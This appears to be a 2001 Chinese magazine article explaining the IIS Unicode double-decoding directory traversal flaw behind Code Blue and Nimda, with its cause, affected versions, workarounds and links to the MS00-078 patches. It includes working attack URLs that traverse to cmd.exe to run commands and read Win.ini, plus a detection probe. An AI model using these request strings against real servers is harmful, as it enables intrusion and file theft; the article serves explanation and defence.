Unicode漏洞 老周 2001年 39期 #1 原理篇   蓝色代码(Codeblue)和尼姆达(Nimda)都是使用unicode漏洞进行攻击。   #21.漏洞描述   1http://192.168.8.48/A.ida/%c1%00.ida   文件:E:\Inetpub\wwwroot\A.ida\@.ida。   系统找不到指定的路径。   解释:%c1%00解码成了c1 00,这正常。但再一次解码成了(c1-c0)*40+00=40=“@”。   2)http://192.168.8.48/A.ida/%c1%01.ida   文件:E:\Inetpub\wwwroot\A.ida\A.ida。   系统找不到指定的路径。   解释:%c1%01解码成了c1 01,这正常。但再一次解码成了(c1-c0)*40+01=41=“A”。   3)http://192.168.8.48/A.ida/%c1%02.ida   文件:E:\Inetpub\wwwroot\A.ida\B.ida。   系统找不到指定的路径。   4)http://192.168.8.48/A.ida/%c1%3a.ida   文件: E:\Inetpub\wwwroot\A.ida\z.ida。   系统找不到指定的路径。   ……   大家可能还没意识到这能干什么,那看看黑客能干什么吧。把计数器e:\inetpub\wwwroot\counter.asp拷贝成e:\inetpub\count.asp,也就是到了Web目录的上级目录,文件名也改了,以避免混淆,这时在浏览器里面输入http://192.168.8.48/..%c1%1ccount.asp,计数器界面出来了,也就是说黑客访问到了Web目录的上级目录。再结合一些别的技巧,还可以看到虚拟目录所在盘任意文件。   #22.漏洞成因   unicode漏洞:IIS在加载可执行CGI程序时,会存在两次解码,第一次解码是对CGI文件名进行http解码,然后判断此文件名是否为可执行文件,例如检查后缀名是否为“.exe”或“.com”等等。在文件名检查通过之后,IIS会再进行第二次解码。正常情况下,应该只对该CGI的参数进行解码,然而,IIS错误地将已经解码过的CGI文件名和CGI参数一起进行解码。这样,CGI文件名就被错误地解码了两次。   “c11c”编码问题:中文简体里面没有这种字,照正常的情况该根据内码转换文件\Winnt\system32\c_936.nls会编码成“?”。会SOFT-ICE的人可以实验,设置断点bpx CreateFileA拦截文件打开操作,再打开一个文件,断点出来后把文件名最后修改成“c1 1c”,再设置断点bpx CreateFileW,一运行出来看看这个“c1 1c”解码成了什么?解码成了3f就是“?”号,这是正常的汉字转换成内码结果。但对中文简体版IIS中c1 1c解码成了(c1-c0)×40+1c=5c=“\”。   “%c1”编码问题中文IIS等处理文件名的时候,有个特殊的%c1编码问题,可以编码出任何字母及一些其他字符,如“\”等,而此编码发生在IIS检测处理路径串中的“..\”之后,所以可以突破IIS路径访问到上级目录。   此漏洞从中文IIS4.0+SP6开始,还影响中文Win2000+IIS5.0、中文Win2000+IIS5.0+SP1,繁体中文也受此漏洞影响。   例如:   http://192.168.8.48/scripts/..%c1%1c../Winnt/system32/cmd.exe?/c+dir   http://192.168.8.48/a.asp/..%c1%1c../..%c1%1c../Winnt/Win.ini   中文WinNT+IIS4.0+SP6:   http://192.168.8.48/default.asp/a.exe   /..%c1%1c../..%c1%1c../Winnt.ini   可以使用.ida等映射检测此漏洞:   http://192.168.8.48/%c1%01.ida   有些漏洞会返回类似“找不到 IDQ 文件 A.ida。”的信息。注意%c1%01已经解码成了“A”。   #23.解决方法   没有安装补丁之前,暂时采用下列方法临时解决问题:   1.如果不需要可执行的CGI,可以删除可执行虚拟目录,例如/scripts等等。   2.如果确实需要可执行的虚拟目录,建议可执行虚拟目录单独在一个分区。   3.将所有可被攻击者利用的命令行工具移到另外一个目录中并禁止GUEST组访问。   厂商补丁:   微软已经发布了一个安全公告MS00-78,你可在下列地址看到更详细的内容:http://www.microsoft.com/technet/Security/Bulletin/ms00-078.asp   补丁可以从下列地址下载:   Microsoft IIS 4.0:   http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp   Microsoft IIS 5.0:   http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp   有人说微软一上市,就注定有许多Bug存在,怎样弥补这些漏洞﹖我们希望微软能及时出一些修正补丁,让系统更加完善。